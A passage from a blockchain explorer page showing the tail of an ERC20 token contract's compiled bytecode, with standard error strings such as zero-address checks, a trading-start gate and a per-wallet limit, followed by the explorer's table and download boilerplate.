e9565b5b60018516156122565780820291505b808102905061226485612216565b945061222b565b94509492505050565b5f82612283576001905061233e565b81612290575f905061233e565b81600181146122a657600281146122b0576122df565b600191505061233e565b60ff8411156122c2576122c16121e9565b5b8360020a9150848211156122d9576122d86121e9565b5b5061233e565b5060208310610133831016604e8410600b84101617156123145782820a90508381111561230f5761230e6121e9565b5b61233e565b6123218484846001612222565b92509050818404811115612338576123376121e9565b5b81810290505b9392505050565b5f61234f82611fcf565b915061235a83612124565b92506123877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612274565b905092915050565b5f61239982611fcf565b91506123a483611fcf565b92508282026123b281611fcf565b915082820484148315176123c9576123c86121e9565b5b5092915050565b5f815190506123de81611fa5565b92915050565b5f602082840312156123f9576123f8611f71565b5b5f612406848285016123d0565b91505092915050565b5f6040820190506124225f830185612183565b61242f6020830184612183565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61246d82611fcf565b915061247883611fcf565b92508261248857612487612436565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6124bf6124ba6124b584612493565b61249c565b611fcf565b9050919050565b6124cf816124a5565b82525050565b5f60c0820190506124e85f830189612183565b6124f56020830188612073565b61250260408301876124c6565b61250f60608301866124c6565b61251c6080830185612183565b61252960a0830184612073565b979650505050505050565b5f8151905061254281611fd8565b92915050565b5f805f6060848603121561255f5761255e611f71565b5b5f61256c86828701612534565b935050602061257d86828701612534565b925050604061258e86828701612534565b9150509250925092565b5f6040820190506125ab5f830185612183565b6125b86020830184612073565b9392505050565b6125c881612040565b81146125d2575f80fd5b50565b5f815190506125e3816125bf565b92915050565b5f602082840312156125fe576125fd611f71565b5b5f61260b848285016125d5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61266e602683611eeb565b915061267982612614565b604082019050919050565b5f6020820190508181035f83015261269b81612662565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126fc602483611eeb565b9150612707826126a2565b604082019050919050565b5f6020820190508181035f830152612729816126f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61278a602283611eeb565b915061279582612730565b604082019050919050565b5f6020820190508181035f8301526127b78161277e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127f2602083611eeb565b91506127fd826127be565b602082019050919050565b5f6020820190508181035f83015261281f816127e6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612880602583611eeb565b915061288b82612826565b604082019050919050565b5f6020820190508181035f8301526128ad81612874565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61290e602383611eeb565b9150612919826128b4565b604082019050919050565b5f6020820190508181035f83015261293b81612902565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61299c602983611eeb565b91506129a782612942565b604082019050919050565b5f6020820190508181035f8301526129c981612990565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612a04600f83611eeb565b9150612a0f826129d0565b602082019050919050565b5f6020820190508181035f830152612a31816129f8565b9050919050565b5f612a4282611fcf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7457612a736121e9565b5b600182019050919050565b5f612a8982611fcf565b9150612a9483611fcf565b9250828201905080821115612aac57612aab6121e9565b5b92915050565b7f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e5f8201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b0c602283611eeb565b9150612b1782612ab2565b604082019050919050565b5f6020820190508181035f830152612b3981612b00565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612b9a602883611eeb565b9150612ba582612b40565b604082019050919050565b5f6020820190508181035f830152612bc781612b8e565b9050919050565b5f612bd882611fcf565b9150612be383611fcf565b9250828203905081811115612bfb57612bfa6121e9565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c5b602183611eeb565b9150612c6682612c01565b604082019050919050565b5f6020820190508181035f830152612c8881612c4f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612d1b81611f94565b82525050565b5f612d2c8383612d12565b60208301905092915050565b5f602082019050919050565b5f612d4e82612ce9565b612d588185612cf3565b9350612d6383612d03565b805f5b83811015612d93578151612d7a8882612d21565b9750612d8583612d38565b925050600181019050612d66565b5085935050505092915050565b5f60a082019050612db35f830188612073565b612dc060208301876124c6565b8181036040830152612dd28186612d44565b9050612de16060830185612183565b612dee6080830184612073565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b83611eeb565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b905091905056fea26469706673582212202228e772bb279a345bb249dbd8c06e991a199682f81e16707e074a139c4967f464736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.